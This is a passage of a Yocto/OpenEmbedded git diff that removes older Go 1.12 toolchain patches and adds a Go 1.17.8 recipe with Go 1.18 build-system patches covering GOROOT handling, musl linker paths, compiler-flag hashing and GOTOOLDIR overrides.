- src/cmd/go/internal/work/action.go | 3 +++
- src/cmd/go/internal/work/build.go | 5 +++++
- src/cmd/go/internal/work/exec.go | 25 +++++++++++++++++++++++++
- 3 files changed, 33 insertions(+)
-
-Index: go/src/cmd/go/internal/work/action.go
-===================================================================
---- go.orig/src/cmd/go/internal/work/action.go
-+++ go/src/cmd/go/internal/work/action.go
-@@ -600,6 +600,9 @@ func (b *Builder) addTransitiveLinkDeps(
- if p1 == nil || p1.Shlib == "" || haveShlib[filepath.Base(p1.Shlib)] {
- continue
- }
-+ if goRootPrecious && (p1.Standard || p1.Goroot) {
-+ continue
-+ }
- haveShlib[filepath.Base(p1.Shlib)] = true
- // TODO(rsc): The use of ModeInstall here is suspect, but if we only do ModeBuild,
- // we'll end up building an overall library or executable that depends at runtime
-Index: go/src/cmd/go/internal/work/build.go
-===================================================================
---- go.orig/src/cmd/go/internal/work/build.go
-+++ go/src/cmd/go/internal/work/build.go
-@@ -147,6 +147,7 @@ See also: go install, go get, go clean.
- }
-
- const concurrentGCBackendCompilationEnabledByDefault = true
-+var goRootPrecious bool = true
-
- func init() {
- // break init cycle
-@@ -160,6 +161,10 @@ func init() {
-
- AddBuildFlags(CmdBuild)
- AddBuildFlags(CmdInstall)
-+
-+ if x := os.Getenv("GOROOT_OVERRIDE"); x != "" {
-+ goRootPrecious = false
-+ }
- }
-
- // Note that flags consulted by other parts of the code
-Index: go/src/cmd/go/internal/work/exec.go
-===================================================================
---- go.orig/src/cmd/go/internal/work/exec.go
-+++ go/src/cmd/go/internal/work/exec.go
-@@ -436,6 +436,23 @@ func (b *Builder) build(a *Action) (err
- return fmt.Errorf("missing or invalid binary-only package; expected file %q", a.Package.Target)
- }
-
-+ if goRootPrecious && (a.Package.Standard || a.Package.Goroot) {
-+ _, err := os.Stat(a.Package.Target)
-+ if err == nil {
-+ a.built = a.Package.Target
-+ a.Target = a.Package.Target
-+ a.buildID = b.fileHash(a.Package.Target)
-+ a.Package.Stale = false
-+ a.Package.StaleReason = "GOROOT-resident package"
-+ return nil
-+ }
-+ a.Package.Stale = true
-+ a.Package.StaleReason = "missing or invalid GOROOT-resident package"
-+ if b.IsCmdList {
-+ return nil
-+ }
-+ }
-+
- if err := b.Mkdir(a.Objdir); err != nil {
- return err
- }
-@@ -1438,6 +1455,14 @@ func BuildInstallFunc(b *Builder, a *Act
- return nil
- }
-
-+ if goRootPrecious && a.Package != nil {
-+ p := a.Package
-+ if p.Standard || p.Goroot {
-+ err := fmt.Errorf("attempting to install package %s into read-only GOROOT", p.ImportPath)
-+ return err
-+ }
-+ }
-+
- if err := b.Mkdir(a.Objdir); err != nil {
- return err
- }
diff --git a/meta/recipes-devtools/go/go-1.12/0008-use-GOBUILDMODE-to-set-buildmode.patch b/meta/recipes-devtools/go/go-1.12/0008-use-GOBUILDMODE-to-set-buildmode.patch
deleted file mode 100644
index 225cf439c5..0000000000
--- a/meta/recipes-devtools/go/go-1.12/0008-use-GOBUILDMODE-to-set-buildmode.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 0e0c247f0caec23528889ff09d98348cba9028f1 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 26 Oct 2018 15:02:32 +0800
-Subject: [PATCH] use GOBUILDMODE to set buildmode
-
-While building go itself, the go build system does not support
-to set `-buildmode=pie' from environment.
-
-Add GOBUILDMODE to support it which make PIE executables the default
-build mode, as PIE executables are required as of Yocto
-
-Refers: https://groups.google.com/forum/#!topic/golang-dev/gRCe5URKewI
-Upstream-Status: Denied [upstream choose antoher solution: `17a256b
-cmd/go: -buildmode=pie for android/arm']
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- src/cmd/go/internal/work/build.go | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-Index: go/src/cmd/go/internal/work/build.go
-===================================================================
---- go.orig/src/cmd/go/internal/work/build.go
-+++ go/src/cmd/go/internal/work/build.go
-@@ -223,7 +223,11 @@ func AddBuildFlags(cmd *base.Command) {
-
- cmd.Flag.Var(&load.BuildAsmflags, "asmflags", "")
- cmd.Flag.Var(buildCompiler{}, "compiler", "")
-- cmd.Flag.StringVar(&cfg.BuildBuildmode, "buildmode", "default", "")
-+ if bm := os.Getenv("GOBUILDMODE"); bm != "" {
-+ cmd.Flag.StringVar(&cfg.BuildBuildmode, "buildmode", bm, "")
-+ } else {
-+ cmd.Flag.StringVar(&cfg.BuildBuildmode, "buildmode", "default", "")
-+ }
- cmd.Flag.Var(&load.BuildGcflags, "gcflags", "")
- cmd.Flag.Var(&load.BuildGccgoflags, "gccgoflags", "")
- cmd.Flag.StringVar(&cfg.BuildMod, "mod", "", "")
diff --git a/meta/recipes-devtools/go/go-1.12/0009-ld-replace-glibc-dynamic-linker-with-musl.patch b/meta/recipes-devtools/go/go-1.12/0009-ld-replace-glibc-dynamic-linker-with-musl.patch
deleted file mode 100644
index 840cf4bbd7..0000000000
--- a/meta/recipes-devtools/go/go-1.12/0009-ld-replace-glibc-dynamic-linker-with-musl.patch
+++ /dev/null
@@ -1,112 +0,0 @@
-From 35ea4be34e94912b00837e0f7c7385f2e98fe769 Mon Sep 17 00:00:00 2001
-From: Matt Madison <matt@madison.systems>
-Date: Sun, 18 Feb 2018 08:24:05 -0800
-Subject: [PATCH] ld: replace glibc dynamic linker with musl
-
-Rework of patch by Khem Raj <raj.khem@gmail.com>
-for go 1.10. Should be applied conditionally on
-musl being the system C library.
-
-Upstream-Status: Inappropriate [Real fix should be portable across libcs]
-
-Signed-off-by: Matt Madison <matt@madison.systems>
-
----
- src/cmd/link/internal/amd64/obj.go | 2 +-
- src/cmd/link/internal/arm/obj.go | 2 +-
- src/cmd/link/internal/arm64/obj.go | 2 +-
- src/cmd/link/internal/mips/obj.go | 2 +-
- src/cmd/link/internal/mips64/obj.go | 2 +-
- src/cmd/link/internal/ppc64/obj.go | 2 +-
- src/cmd/link/internal/s390x/obj.go | 2 +-
- src/cmd/link/internal/x86/obj.go | 2 +-
- 8 files changed, 8 insertions(+), 8 deletions(-)
-
---- a/src/cmd/link/internal/amd64/obj.go
-+++ b/src/cmd/link/internal/amd64/obj.go
-@@ -62,7 +62,7 @@ func Init() (*sys.Arch, ld.Arch) {
- PEreloc1: pereloc1,
- TLSIEtoLE: tlsIEtoLE,
-
-- Linuxdynld: "/lib64/ld-linux-x86-64.so.2",
-+ Linuxdynld: "/lib64/ld-musl-x86-64.so.1",
- Freebsddynld: "/libexec/ld-elf.so.1",
- Openbsddynld: "/usr/libexec/ld.so",
- Netbsddynld: "/libexec/ld.elf_so",
---- a/src/cmd/link/internal/arm/obj.go
-+++ b/src/cmd/link/internal/arm/obj.go
-@@ -59,7 +59,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Machoreloc1: machoreloc1,
- PEreloc1: pereloc1,
-
-- Linuxdynld: "/lib/ld-linux.so.3", // 2 for OABI, 3 for EABI
-+ Linuxdynld: "/lib/ld-musl-armhf.so.1",
- Freebsddynld: "/usr/libexec/ld-elf.so.1",
- Openbsddynld: "/usr/libexec/ld.so",
- Netbsddynld: "/libexec/ld.elf_so",
---- a/src/cmd/link/internal/arm64/obj.go
-+++ b/src/cmd/link/internal/arm64/obj.go
-@@ -57,7 +57,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Gentext: gentext,
- Machoreloc1: machoreloc1,
-
-- Linuxdynld: "/lib/ld-linux-aarch64.so.1",
-+ Linuxdynld: "/lib/ld-musl-aarch64.so.1",
-
- Freebsddynld: "XXX",
- Openbsddynld: "XXX",
---- a/src/cmd/link/internal/mips/obj.go
-+++ b/src/cmd/link/internal/mips/obj.go
-@@ -60,7 +60,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Gentext: gentext,
- Machoreloc1: machoreloc1,
-
-- Linuxdynld: "/lib/ld.so.1",
-+ Linuxdynld: "/lib/ld-musl-mipsle.so.1",
-
- Freebsddynld: "XXX",
- Openbsddynld: "XXX",
---- a/src/cmd/link/internal/mips64/obj.go
-+++ b/src/cmd/link/internal/mips64/obj.go
-@@ -59,7 +59,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Gentext: gentext,
- Machoreloc1: machoreloc1,
-
-- Linuxdynld: "/lib64/ld64.so.1",
-+ Linuxdynld: "/lib64/ld-musl-mips64le.so.1",
- Freebsddynld: "XXX",
- Openbsddynld: "XXX",
- Netbsddynld: "XXX",
---- a/src/cmd/link/internal/ppc64/obj.go
-+++ b/src/cmd/link/internal/ppc64/obj.go
-@@ -62,7 +62,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Machoreloc1: machoreloc1,
-
- // TODO(austin): ABI v1 uses /usr/lib/ld.so.1,
-- Linuxdynld: "/lib64/ld64.so.1",
-+ Linuxdynld: "/lib64/ld-musl-powerpc64le.so.1",
-
- Freebsddynld: "XXX",
- Openbsddynld: "XXX",
---- a/src/cmd/link/internal/s390x/obj.go
-+++ b/src/cmd/link/internal/s390x/obj.go
-@@ -57,7 +57,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Gentext: gentext,
- Machoreloc1: machoreloc1,
-
-- Linuxdynld: "/lib64/ld64.so.1",
-+ Linuxdynld: "/lib64/ld-musl-s390x.so.1",
-
- // not relevant for s390x
- Freebsddynld: "XXX",
---- a/src/cmd/link/internal/x86/obj.go
-+++ b/src/cmd/link/internal/x86/obj.go
-@@ -58,7 +58,7 @@ func Init() (*sys.Arch, ld.Arch) {
- Machoreloc1: machoreloc1,
- PEreloc1: pereloc1,
-
-- Linuxdynld: "/lib/ld-linux.so.2",
-+ Linuxdynld: "/lib/ld-musl-i386.so.1",
- Freebsddynld: "/usr/libexec/ld-elf.so.1",
- Openbsddynld: "/usr/libexec/ld.so",
- Netbsddynld: "/usr/libexec/ld.elf_so",
diff --git a/meta/recipes-devtools/go/go-1.17.8.inc b/meta/recipes-devtools/go/go-1.17.8.inc
new file mode 100644
index 0000000000..649c09ec1d
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.17.8.inc
@@ -0,0 +1,25 @@
+require go-common.inc
+
+FILESEXTRAPATHS:prepend := "${FILE_DIRNAME}/go-1.18:"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707"
+
+SRC_URI += "\
+ file://0001-allow-CC-and-CXX-to-have-multiple-words.patch \
+ file://0002-cmd-go-make-content-based-hash-generation-less-pedan.patch \
+ file://0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch \
+ file://0004-ld-add-soname-to-shareable-objects.patch \
+ file://0005-make.bash-override-CC-when-building-dist-and-go_boot.patch \
+ file://0006-cmd-dist-separate-host-and-target-builds.patch \
+ file://0007-cmd-go-make-GOROOT-precious-by-default.patch \
+ file://0008-use-GOBUILDMODE-to-set-buildmode.patch \
+ file://0009-Revert-cmd-go-make-sure-CC-and-CXX-are-absolute.patch \
+ file://0001-exec.go-do-not-write-linker-flags-into-buildids.patch \
+ file://0001-src-cmd-dist-buildgo.go-do-not-hardcode-host-compile.patch \
+"
+SRC_URI[main.sha256sum] = "2effcd898140da79a061f3784ca4f8d8b13d811fb2abe9dad2404442dabbdf7a"
+
+# Upstream don't believe it is a signifiant real world issue and will only
+# fix in 1.17 onwards where we can drop this.
+# https://github.com/golang/go/issues/30999#issuecomment-910470358
+CVE_CHECK_IGNORE += "CVE-2021-29923"
diff --git a/meta/recipes-devtools/go/go-1.18/0001-allow-CC-and-CXX-to-have-multiple-words.patch b/meta/recipes-devtools/go/go-1.18/0001-allow-CC-and-CXX-to-have-multiple-words.patch
new file mode 100644
index 0000000000..5f4823be22
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.18/0001-allow-CC-and-CXX-to-have-multiple-words.patch
@@ -0,0 +1,33 @@
+From 9e3dc44cdfa58d96504d0a789dc82617dd5bef55 Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:01:13 +0430
+Subject: [PATCH 1/9] cmd/go: Allow CC and CXX to have multiple words
+
+Upstream-Status: Inappropriate [OE specific]
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+
+---
+ src/cmd/go/internal/envcmd/env.go | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+--- a/src/cmd/go/internal/envcmd/env.go
++++ b/src/cmd/go/internal/envcmd/env.go
+@@ -103,11 +103,11 @@ func MkEnv() []cfg.EnvVar {
+
+ cc := cfg.DefaultCC(cfg.Goos, cfg.Goarch)
+ if env := strings.Fields(cfg.Getenv("CC")); len(env) > 0 {
+- cc = env[0]
++ cc = strings.Join(env, " ")
+ }
+ cxx := cfg.DefaultCXX(cfg.Goos, cfg.Goarch)
+ if env := strings.Fields(cfg.Getenv("CXX")); len(env) > 0 {
+- cxx = env[0]
++ cxx = strings.Join(env, " ")
+ }
+ env = append(env, cfg.EnvVar{Name: "AR", Value: envOr("AR", "ar")})
+ env = append(env, cfg.EnvVar{Name: "CC", Value: cc})
diff --git a/meta/recipes-devtools/go/go-1.18/0001-exec.go-do-not-write-linker-flags-into-buildids.patch b/meta/recipes-devtools/go/go-1.18/0001-exec.go-do-not-write-linker-flags-into-buildids.patch
new file mode 100644
index 0000000000..20b6636f65
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.18/0001-exec.go-do-not-write-linker-flags-into-buildids.patch
@@ -0,0 +1,41 @@
+From bdd69b55387f80c8df18d0af5008bf5e1a66be6a Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 23 Nov 2020 19:22:04 +0000
+Subject: [PATCH] exec.go: do not write linker flags into buildids
+
+The flags can contain build-specific paths, breaking reproducibility.
+
+To make this acceptable to upstream, we probably need to trim the flags,
+removing those known to be buildhost-specific.
+
+Upstream-Status: Inappropriate [needs upstream discussion]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ src/cmd/go/internal/work/exec.go | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/cmd/go/internal/work/exec.go b/src/cmd/go/internal/work/exec.go
+index 696db23..727d40b 100644
+--- a/src/cmd/go/internal/work/exec.go
++++ b/src/cmd/go/internal/work/exec.go
+@@ -1136,7 +1136,7 @@ func (b *Builder) linkActionID(a *Action) cache.ActionID {
+ }
+
+ // Toolchain-dependent configuration, shared with b.linkSharedActionID.
+- b.printLinkerConfig(h, p)
++ //b.printLinkerConfig(h, p)
+
+ // Input files.
+ for _, a1 := range a.Deps {
+@@ -1418,7 +1418,7 @@ func (b *Builder) linkSharedActionID(a *Action) cache.ActionID {
+ fmt.Fprintf(h, "goos %s goarch %s\n", cfg.Goos, cfg.Goarch)
+
+ // Toolchain-dependent configuration, shared with b.linkActionID.
+- b.printLinkerConfig(h, nil)
++ //b.printLinkerConfig(h, nil)
+
+ // Input files.
+ for _, a1 := range a.Deps {
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/go/go-1.18/0001-src-cmd-dist-buildgo.go-do-not-hardcode-host-compile.patch b/meta/recipes-devtools/go/go-1.18/0001-src-cmd-dist-buildgo.go-do-not-hardcode-host-compile.patch
new file mode 100644
index 0000000000..257454a67d
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.18/0001-src-cmd-dist-buildgo.go-do-not-hardcode-host-compile.patch
@@ -0,0 +1,41 @@
+From 2055a46b396e272616c0b2273903e02c3b49a2ff Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 10 Nov 2020 16:33:27 +0000
+Subject: [PATCH] src/cmd/dist/buildgo.go: do not hardcode host compilers into
+ target binaries
+
+These come from $CC/$CXX on the build host and are not useful on targets;
+additionally as they contain host specific paths, this helps reproducibility.
+
+Upstream-Status: Inappropriate [needs upstream discussion]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ src/cmd/dist/buildgo.go | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/src/cmd/dist/buildgo.go b/src/cmd/dist/buildgo.go
+index caafc13..4eb1c96 100644
+--- a/src/cmd/dist/buildgo.go
++++ b/src/cmd/dist/buildgo.go
+@@ -34,8 +34,8 @@ func mkzdefaultcc(dir, file string) {
+ fmt.Fprintf(&buf, "package cfg\n")
+ fmt.Fprintln(&buf)
+ fmt.Fprintf(&buf, "const DefaultPkgConfig = `%s`\n", defaultpkgconfig)
+- buf.WriteString(defaultCCFunc("DefaultCC", defaultcc))
+- buf.WriteString(defaultCCFunc("DefaultCXX", defaultcxx))
++ buf.WriteString(defaultCCFunc("DefaultCC", map[string]string{"":"gcc"}))
++ buf.WriteString(defaultCCFunc("DefaultCXX", map[string]string{"":"g++"}))
+ writefile(buf.String(), file, writeSkipSame)
+ return
+ }
+@@ -46,8 +46,8 @@ func mkzdefaultcc(dir, file string) {
+ fmt.Fprintf(&buf, "package main\n")
+ fmt.Fprintln(&buf)
+ fmt.Fprintf(&buf, "const defaultPkgConfig = `%s`\n", defaultpkgconfig)
+- buf.WriteString(defaultCCFunc("defaultCC", defaultcc))
+- buf.WriteString(defaultCCFunc("defaultCXX", defaultcxx))
++ buf.WriteString(defaultCCFunc("defaultCC", map[string]string{"":"gcc"}))
++ buf.WriteString(defaultCCFunc("defaultCXX", map[string]string{"":"g++"}))
+ writefile(buf.String(), file, writeSkipSame)
+ }
+
diff --git a/meta/recipes-devtools/go/go-1.18/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch b/meta/recipes-devtools/go/go-1.18/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch
new file mode 100644
index 0000000000..42cd568ef9
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.18/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch
@@ -0,0 +1,237 @@
+From c403b45995c5daa6747ac4d95b39bc9a6feb2cda Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:14:22 +0430
+Subject: [PATCH] cmd/go: make content-based hash generation less pedantic
+
+Upstream-Status: Inappropriate [OE specific]
+
+Go 1.10's build tool now uses content-based hashes to
+determine when something should be built or re-built.
+This same mechanism is used to maintain a built-artifact
+cache for speeding up builds.
+
+However, the hashes it generates include information that
+doesn't work well with OE, nor with using a shared runtime
+library.
+
+First, it embeds path names to source files, unless
+building within GOROOT. This prevents the building
+of a package in GOPATH for later staging into GOROOT.
+
+This patch adds support for the environment variable
+GOPATH_OMIT_IN_ACTIONID. If present, path name
+embedding is disabled.
+
+Second, if cgo is enabled, the build ID for cgo-related
+packages will include the current value of the environment
+variables for invoking the compiler (CC, CXX, FC) and
+any CGO_xxFLAGS variables. Only if the settings used
+during a compilation exactly match, character for character,
+the values used for compiling runtime/cgo or any other
+cgo-enabled package being imported, will the tool
+decide that the imported package is up-to-date.
+
+This is done to help ensure correctness, but is overly
+simplistic and effectively prevents the reuse of built
+artifacts that use cgo (or shared runtime, which includes
+runtime/cgo).
+
+This patch filters out all compiler flags except those
+beginning with '-m'. The default behavior can be restored
+by setting the CGO_PEDANTIC environment variable.
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+---
+ src/cmd/go/internal/envcmd/env.go | 2 +-
+ src/cmd/go/internal/work/exec.go | 66 ++++++++++++++++++++++---------
+ 2 files changed, 49 insertions(+), 19 deletions(-)
+
+diff --git a/src/cmd/go/internal/envcmd/env.go b/src/cmd/go/internal/envcmd/env.go
+index 20d0587..ff6f0d8 100644
+--- a/src/cmd/go/internal/envcmd/env.go
++++ b/src/cmd/go/internal/envcmd/env.go
+@@ -160,7 +160,7 @@ func ExtraEnvVars() []cfg.EnvVar {
+ func ExtraEnvVarsCostly() []cfg.EnvVar {
+ var b work.Builder
+ b.Init()
+- cppflags, cflags, cxxflags, fflags, ldflags, err := b.CFlags(&load.Package{})
++ cppflags, cflags, cxxflags, fflags, ldflags, err := b.CFlags(&load.Package{}, false)
+ if err != nil {
+ // Should not happen - b.CFlags was given an empty package.
+ fmt.Fprintf(os.Stderr, "go: invalid cflags: %v\n", err)
+diff --git a/src/cmd/go/internal/work/exec.go b/src/cmd/go/internal/work/exec.go
+index 5a225fb..a37872e 100644
+--- a/src/cmd/go/internal/work/exec.go
++++ b/src/cmd/go/internal/work/exec.go
+@@ -38,6 +38,8 @@ import (
+ "cmd/go/internal/trace"
+ )
+
++var omitGopath = os.Getenv("GOPATH_OMIT_IN_ACTIONID") != ""
++
+ // actionList returns the list of actions in the dag rooted at root
+ // as visited in a depth-first post-order traversal.
+ func actionList(root *Action) []*Action {
+@@ -229,7 +231,7 @@ func (b *Builder) buildActionID(a *Action) cache.ActionID {
+ // Assume b.WorkDir is being trimmed properly.
+ // When -trimpath is used with a package built from the module cache,
+ // use the module path and version instead of the directory.
+- if !p.Goroot && !cfg.BuildTrimpath && !strings.HasPrefix(p.Dir, b.WorkDir) {
++ if !p.Goroot && !omitGopath && !cfg.BuildTrimpath && !strings.HasPrefix(p.Dir, b.WorkDir) {
+ fmt.Fprintf(h, "dir %s\n", p.Dir)
+ } else if cfg.BuildTrimpath && p.Module != nil {
+ fmt.Fprintf(h, "module %s@%s\n", p.Module.Path, p.Module.Version)
+@@ -248,9 +250,9 @@ func (b *Builder) buildActionID(a *Action) cache.ActionID {
+ }
+ if len(p.CgoFiles)+len(p.SwigFiles)+len(p.SwigCXXFiles) > 0 {
+ fmt.Fprintf(h, "cgo %q\n", b.toolID("cgo"))
+- cppflags, cflags, cxxflags, fflags, ldflags, _ := b.CFlags(p)
++ cppflags, cflags, cxxflags, fflags, ldflags, _ := b.CFlags(p, true)
+
+- ccExe := b.ccExe()
++ ccExe := b.ccExe(true)
+ fmt.Fprintf(h, "CC=%q %q %q %q\n", ccExe, cppflags, cflags, ldflags)
+ // Include the C compiler tool ID so that if the C
+ // compiler changes we rebuild the package.
+@@ -263,14 +265,14 @@ func (b *Builder) buildActionID(a *Action) cache.ActionID {
+ }
+ }
+ if len(p.CXXFiles)+len(p.SwigCXXFiles) > 0 {
+- cxxExe := b.cxxExe()
++ cxxExe := b.cxxExe(true)
+ fmt.Fprintf(h, "CXX=%q %q\n", cxxExe, cxxflags)
+ if cxxID, err := b.gccToolID(cxxExe[0], "c++"); err == nil {
+ fmt.Fprintf(h, "CXX ID=%q\n", cxxID)
+ }
+ }
+ if len(p.FFiles) > 0 {
+- fcExe := b.fcExe()
++ fcExe := b.fcExe(true)
+ fmt.Fprintf(h, "FC=%q %q\n", fcExe, fflags)
+ if fcID, err := b.gccToolID(fcExe[0], "f95"); err == nil {
+ fmt.Fprintf(h, "FC ID=%q\n", fcID)
+@@ -2438,33 +2440,48 @@ var (
+ // gccCmd returns a gcc command line prefix
+ // defaultCC is defined in zdefaultcc.go, written by cmd/dist.
+ func (b *Builder) GccCmd(incdir, workdir string) []string {
+- return b.compilerCmd(b.ccExe(), incdir, workdir)
++ return b.compilerCmd(b.ccExe(false), incdir, workdir)
+ }
+
+ // gxxCmd returns a g++ command line prefix
+ // defaultCXX is defined in zdefaultcc.go, written by cmd/dist.
+ func (b *Builder) GxxCmd(incdir, workdir string) []string {
+- return b.compilerCmd(b.cxxExe(), incdir, workdir)
++ return b.compilerCmd(b.cxxExe(false), incdir, workdir)
+ }
+
+ // gfortranCmd returns a gfortran command line prefix.
+ func (b *Builder) gfortranCmd(incdir, workdir string) []string {
+- return b.compilerCmd(b.fcExe(), incdir, workdir)
++ return b.compilerCmd(b.fcExe(false), incdir, workdir)
+ }
+
+ // ccExe returns the CC compiler setting without all the extra flags we add implicitly.
+-func (b *Builder) ccExe() []string {
+- return b.compilerExe(origCC, cfg.DefaultCC(cfg.Goos, cfg.Goarch))
++func (b *Builder) ccExe(filtered bool) []string {
++ return b.compilerExe(origCC, cfg.DefaultCC(cfg.Goos, cfg.Goarch), filtered)
+ }
+
+ // cxxExe returns the CXX compiler setting without all the extra flags we add implicitly.
+-func (b *Builder) cxxExe() []string {
+- return b.compilerExe(origCXX, cfg.DefaultCXX(cfg.Goos, cfg.Goarch))
++func (b *Builder) cxxExe(filtered bool) []string {
++ return b.compilerExe(origCXX, cfg.DefaultCXX(cfg.Goos, cfg.Goarch), filtered)
+ }
+
+ // fcExe returns the FC compiler setting without all the extra flags we add implicitly.
+-func (b *Builder) fcExe() []string {
+- return b.compilerExe(cfg.Getenv("FC"), "gfortran")
++func (b *Builder) fcExe(filtered bool) []string {
++ return b.compilerExe(os.Getenv("FC"), "gfortran", filtered)
++}
++
++var filterFlags = os.Getenv("CGO_PEDANTIC") == ""
++
++func filterCompilerFlags(flags []string) []string {
++ var newflags []string
++ if !filterFlags {
++ return flags
++ }
++ for _, flag := range flags {
++ if strings.HasPrefix(flag, "-m") {
++ newflags = append(newflags, flag)
++ }
++ }
++ return newflags
+ }
+
+ // compilerExe returns the compiler to use given an
+@@ -2473,11 +2490,16 @@ func (b *Builder) fcExe() []string {
+ // of the compiler but can have additional arguments if they
+ // were present in the environment value.
+ // For example if CC="gcc -DGOPHER" then the result is ["gcc", "-DGOPHER"].
+-func (b *Builder) compilerExe(envValue string, def string) []string {
++func (b *Builder) compilerExe(envValue string, def string, filtered bool) []string {
+ compiler := strings.Fields(envValue)
+ if len(compiler) == 0 {
+ compiler = strings.Fields(def)
+ }
++
++ if filtered {
++ return append(compiler[0:1], filterCompilerFlags(compiler[1:])...)
++ }
++
+ return compiler
+ }
+
+@@ -2667,7 +2689,7 @@ func envList(key, def string) []string {
+ }
+
+ // CFlags returns the flags to use when invoking the C, C++ or Fortran compilers, or cgo.
+-func (b *Builder) CFlags(p *load.Package) (cppflags, cflags, cxxflags, fflags, ldflags []string, err error) {
++func (b *Builder) CFlags(p *load.Package, filtered bool) (cppflags, cflags, cxxflags, fflags, ldflags []string, err error) {
+ defaults := "-g -O2"
+
+ if cppflags, err = buildFlags("CPPFLAGS", "", p.CgoCPPFLAGS, checkCompilerFlags); err != nil {
+@@ -2686,6 +2708,14 @@ func (b *Builder) CFlags(p *load.Package) (cppflags, cflags, cxxflags, fflags, l
+ return
+ }
+
++ if filtered {
++ cppflags = filterCompilerFlags(cppflags)
++ cflags = filterCompilerFlags(cflags)
++ cxxflags = filterCompilerFlags(cxxflags)
++ fflags = filterCompilerFlags(fflags)
++ ldflags = filterCompilerFlags(ldflags)
++ }
++
+ return
+ }
+
+@@ -2700,7 +2730,7 @@ var cgoRe = lazyregexp.New(`[/\\:]`)
+
+ func (b *Builder) cgo(a *Action, cgoExe, objdir string, pcCFLAGS, pcLDFLAGS, cgofiles, gccfiles, gxxfiles, mfiles, ffiles []string) (outGo, outObj []string, err error) {
+ p := a.Package
+- cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, cgoFFLAGS, cgoLDFLAGS, err := b.CFlags(p)
++ cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, cgoFFLAGS, cgoLDFLAGS, err := b.CFlags(p, false)
+ if err != nil {
+ return nil, nil, err
+ }
+@@ -3151,7 +3181,7 @@ func (b *Builder) swigIntSize(objdir string) (intsize string, err error) {
+
+ // Run SWIG on one SWIG input file.
+ func (b *Builder) swigOne(a *Action, p *load.Package, file, objdir string, pcCFLAGS []string, cxx bool, intgosize string) (outGo, outC string, err error) {
+- cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, _, _, err := b.CFlags(p)
++ cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, _, _, err := b.CFlags(p, false)
+ if err != nil {
+ return "", "", err
+ }
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/go/go-1.18/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch b/meta/recipes-devtools/go/go-1.18/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch
new file mode 100644
index 0000000000..2a86bdccf3
--- /dev/null
+++ b/meta/recipes-devtools/go/go-1.18/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch
@@ -0,0 +1,52 @@
+From 8512964c0bfdfc3c9c3805743ea7de551a1d476a Mon Sep 17 00:00:00 2001
+From: Alex Kube <alexander.j.kube@gmail.com>
+Date: Wed, 23 Oct 2019 21:15:37 +0430
+Subject: [PATCH] cmd/go: Allow GOTOOLDIR to be overridden in the environment
+
+to allow for split host/target build roots
+
+Adapted to Go 1.13 from patches originally submitted to
+the meta/recipes-devtools/go tree by
+Matt Madison <matt@madison.systems>.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
+
+---
+ src/cmd/dist/build.go | 4 +++-
+ src/cmd/go/internal/cfg/cfg.go | 6 +++++-
+ 2 files changed, 8 insertions(+), 2 deletions(-)
+
+diff --git a/src/cmd/dist/build.go b/src/cmd/dist/build.go
+index bec1769..d82f612 100644
+--- a/src/cmd/dist/build.go
++++ b/src/cmd/dist/build.go
+@@ -248,7 +248,9 @@ func xinit() {
+ }
+ xatexit(rmworkdir)
+
+- tooldir = pathf("%s/pkg/tool/%s_%s", goroot, gohostos, gohostarch)
++ if tooldir = os.Getenv("GOTOOLDIR"); tooldir == "" {
++ tooldir = pathf("%s/pkg/tool/%s_%s", goroot, gohostos, gohostarch)
++ }
+ }
+
+ // compilerEnv returns a map from "goos/goarch" to the
+diff --git a/src/cmd/go/internal/cfg/cfg.go b/src/cmd/go/internal/cfg/cfg.go
